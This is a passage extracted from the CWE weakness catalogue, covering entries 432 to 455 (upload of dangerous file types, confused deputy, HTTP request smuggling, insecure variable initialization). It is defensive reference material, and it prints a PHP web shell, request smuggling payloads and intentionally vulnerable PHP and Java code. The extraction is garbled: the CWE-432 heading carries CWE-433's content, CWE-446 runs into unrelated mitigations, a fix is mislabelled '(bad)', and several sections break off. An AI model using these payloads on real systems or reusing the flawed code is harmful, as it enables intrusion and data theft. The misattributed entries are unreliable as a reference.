When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

## CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

**Weakness ID** : 432

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

**Description**

The application uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

**Extended Description**

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

## Description

The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

## Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Architecture and Design

Perform a type check before interpreting files.

### Phase: Architecture and Design

Do not store sensitive information in files which may be misinterpreted.

## Demonstrative Examples

### Example 1:

The following code uses an include file to store database credentials:

database.inc

*Example Language: PHP*

*(bad)*

```
<?php
$dbName = 'usersDB';
```

```
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP

(bad)

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

## CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID : 434

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Primary** : This can be primary when there is no check at all.

**Resultant** : This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

**Resultant** : This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

### Applicable Platforms

**Language** : ASP.NET (Prevalence = Sometimes)

**Language** : PHP (Prevalence = Often)

**Language** : Language-Independent (Prevalence = Undetermined)

**Technology** : Web Server (Prevalence = Sometimes)

## Alternate Terms

**Unrestricted File Upload** : The "unrestricted file upload" term is used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.</i>

## Potential Mitigations

**Phase: Architecture and Design**

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Phase: Architecture and Design**

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

**Phase: Architecture and Design**

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

**Phase: Implementation**

*Strategy = Input Validation*

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

**Phase: Implementation**

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Implementation**

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

**Phase: Implementation**

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

## Demonstrative Examples

### Example 1:

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

*Example Language: HTML*

*(good)*

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to upload\_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

*Example Language: PHP*

*(bad)*

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
```

```

    echo "The picture has been successfully uploaded.";
}
else
{
    echo "There was an error uploading the picture, please try again.";
}

```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

Example Language:

(attack)

```
malicious.php
```

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

Example Language: PHP

(attack)

```

<?php
  system($_GET['cmd']);
?>

```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

Example Language:

(attack)

```
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
```

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

### Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML

(good)

```

<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>

```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(bad)

```

public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
    }
}

```

```

String boundary = contentType.substring(ind+9);
String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
    // extract the filename from the Http header
    BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
    ...
    pLine = br.readLine();
    String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("."));
    ...
    // output the file to the local upload directory
    try {
        BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
        for (String line; (line=br.readLine())!=null; ) {
            if (line.indexOf(boundary) == -1) {
                bw.write(line);
                bw.newLine();
                bw.flush();
            }
        } //end of for loop
        bw.close();
    } catch (IOException ex) {...}
    // output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use `../` sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

### Notes

#### Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

#### Research Gap

PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

## CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities

**Weakness ID** : 435

**Status**: Draft

**Structure** : Simple

**Abstraction** : Pillar

### Description

An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.

### Extended Description

When a system or process combines multiple independent components, this often produces new, emergent behaviors at the system level. However, if the interactions between these components are not fully accounted for, some of the emergent behaviors can be incorrect or even insecure.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Notes

### Relationship

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

## CWE-436: Interpretation Conflict

<b>Weakness ID :</b> 436	<b>Status:</b> Incomplete
<b>Structure :</b> Simple	
<b>Abstraction :</b> Class	

## Description

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

## Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Demonstrative Examples**

**Example 1:**

The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [REF-428] shows that OSES varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.

**Example 2:**

Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [REF-429] and PHP.

## CWE-437: Incomplete Model of Endpoint Features

**Weakness ID** : 437

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Integrity	Unexpected State	
Other	Varies by Context	

### Demonstrative Examples

#### Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

#### Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

## CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Weakness ID : 441

Status: Draft

Structure : Simple

Abstraction : Class

## Description

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

## Extended Description

If an attacker cannot directly contact a target, but the product has access to the target, then the attacker can send a request to the product and have it be forwarded to the target. The request would appear to be coming from the product's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.

Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

- The product runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
- The attacker is prevented from making the request directly to the target; and
- The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, hardware IP, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

**Confused Deputy** : This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

**Common Consequences**

Scope	Impact	Likelihood
Non-Repudiation	Gain Privileges or Assume Identity	
Access Control	Hide Activities Execute Unauthorized Code or Commands	

**Potential Mitigations****Phase: Architecture and Design**

Enforce the use of strong mutual authentication mechanism between the two parties.

**Phase: Architecture and Design**

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

**Demonstrative Examples****Example 1:**

A SoC contains a microcontroller (running ring-3 (least trusted ring) code), a Memory Mapped Input Output (MMIO) mapped IP core (containing design-house secrets), and a Direct Memory Access (DMA) controller, among several other compute elements and peripherals. The SoC implements access control to protect the registers in the IP core (which registers store the design-house secrets) from malicious, ring-3 (least trusted ring) code executing on the microcontroller. The DMA controller, however, is not blocked off from accessing the IP core for functional reasons.

*Example Language: Other*

*(bad)*

The code in ring-3 (least trusted ring) of the microcontroller attempts to directly read the protected registers in IP core through MMIO transactions. However, this attempt is blocked due to the implemented access control. Now, the microcontroller configures the DMA core to transfer data from the protected registers to a memory region that it has access to. The DMA core, which is acting as an intermediary in this transaction, does not preserve the identity of the microcontroller

and, instead, initiates a new transaction with its own identity. Since the DMA core has access, the transaction (and hence, the attack) is successful.

The weakness here is that the intermediary or the proxy agent did not ensure the immutability of the identity of the microcontroller initiating the transaction.

Example Language: Other

(good)

The DMA core forwards this transaction with the identity of the code executing on the microcontroller, which is the original initiator of the end-to-end transaction. Now the transaction is blocked, as a result of forwarding the identity of the true initiator which lacks the permission to access the confidential MMIO mapped IP core.

MemberOf	<b>C</b>	1198	Privilege Separation and Access Control Issues	1194	2133

## Notes

### Relationship

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

### Maintenance

This could possibly be considered as an emergent resource.

## Theoretical

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

## CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

<b>Weakness ID</b> : 444	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

### Applicable Platforms

**Language** : Language-Independent (Prevalence = Undetermined)

**Technology** : Web Based (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Non-Repudiation	Hide Activities	
Access Control	Bypass Protection Mechanism	
<p><i>An attacker could create a request to exploit a number of weaknesses including 1) the request can trick the web server to associate a URL with another URLs webpage and caching the contents of the webpage (web cache poisoning attack), 2) the request can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the request can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).</i></p>		

### Potential Mitigations

#### Phase: Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

#### Phase: Implementation

Use only SSL communication.

#### Phase: Implementation

Terminate the client session after each request.

#### Phase: System Configuration

Turn all pages to non-cacheable.

### Demonstrative Examples

#### Example 1:

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

Example Language:

(attack)

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 44
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

When this request is sent to the proxy server, the proxy server parses the POST request in the first seven lines, and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in the next three lines that contain exactly 44 bytes as the first request's body. The proxy then parses the last three lines which it treats as the client's second request.

The request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body, and the second request is the line with the first GET (note that the second GET is parsed by the web server as the value of the "Bla" header).

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client "POST /foobar.html" and "GET /page\_to\_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page\_to\_poison.html", and the cache is poisoned! Any client requesting "page\_to\_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server some protection against this type of attack can be achieved by installing a web application firewall, or use a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

Example Language: Java

(good)

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
    // Set up response writer object
    ...
    try {
        // check for multiple content length headers
        Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
        int count = 0;
        while (contentLengthHeaders.hasMoreElements()) {
            count++;
        }
        if (count > 1) {
            // output error response
        }
        else {
            // process request
        }
    } catch (Exception ex) {...}
}
```

### Example 2:

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system..

Example Language:

(attack)

```
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
```

```
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive
```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

## CWE-446: UI Discrepancy for Security Feature

<b>Weakness ID</b> : 446	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

## Description

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

## Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the software only implements "restrict SOME".

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## CWE-451: User Interface (UI) Misrepresentation of Critical Information

**Weakness ID :** 451

**Status:** Draft

**Structure :** Simple

**Abstraction :** Class

### Description

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

### Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

- **Incorrect indicator:** incorrect information is displayed, which prevents the user from understanding the true state of the software or the environment the software is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
- **Overlay:** an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
- **Icon manipulation:** the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
- **Timing:** the software is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
- **Visual truncation:** important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.
- **Visual distinction:** visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
- **Homographs:** letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

#### Research Gap

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

## CWE-453: Insecure Default Variable Initialization

<b>Weakness ID</b> : 453	<b>Status:</b> Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software, by default, initializes an internal variable with an insecure or less secure value than is possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1188	Insecure Default Initialization of Resource	1761

### Applicable Platforms

**Language** : PHP (*Prevalence = Sometimes*)

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>An attacker could gain access to and modify sensitive data or system information.</i>	

### Potential Mitigations

#### Phase: System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

### Demonstrative Examples

#### Example 1:

This code attempts to login a user using credentials from a POST request:

*Example Language: PHP*

*(bad)*

```
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
    $authorized = true;
}
...
if ($authorized) {
    generatePage();
}
```

Because the `$authorized` variable is never initialized, PHP will automatically set `$authorized` to any value included in the POST request if `register_globals` is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

*Example Language: PHP*

*(bad)*

```
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
    $authorized = true;
}
...

```

This code avoids the issue by initializing the `$authorized` variable to false and explicitly retrieving the login credentials from the `$_POST` variable. Regardless, `register_globals` should never be enabled and is disabled by default in current versions of PHP.

## CWE-454: External Initialization of Trusted Variables or Data Stores

<b>Weakness ID</b> : 454	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

## Extended Description

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. The variables may have been initialized incorrectly. If an attacker can initialize the variable, then they can influence what the vulnerable system will do.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Scope	Impact	Likelihood
	An attacker could gain access to and modify sensitive data or system information.	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

### Phase: Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using an allowlist, and use a different namespace or naming convention if possible.

## Demonstrative Examples

### Example 1:

In the Java example below, a system property controls the debug level of the application.

*Example Language: Java*

*(bad)*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

### Example 2:

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

*Example Language: PHP*

*(bad)*

```
$debugEnabled = false;
if ($_POST["debug"] == "true"){
    $debugEnabled = true;
}
.../
function login($username, $password){
    if($debugEnabled){
        echo 'Debug Activated';
        phpinfo();
        $isAdmin = True;
        return True;
    }
}
```

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

## CWE-455: Non-exit on Failed Initialization

**Weakness ID** : 455

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
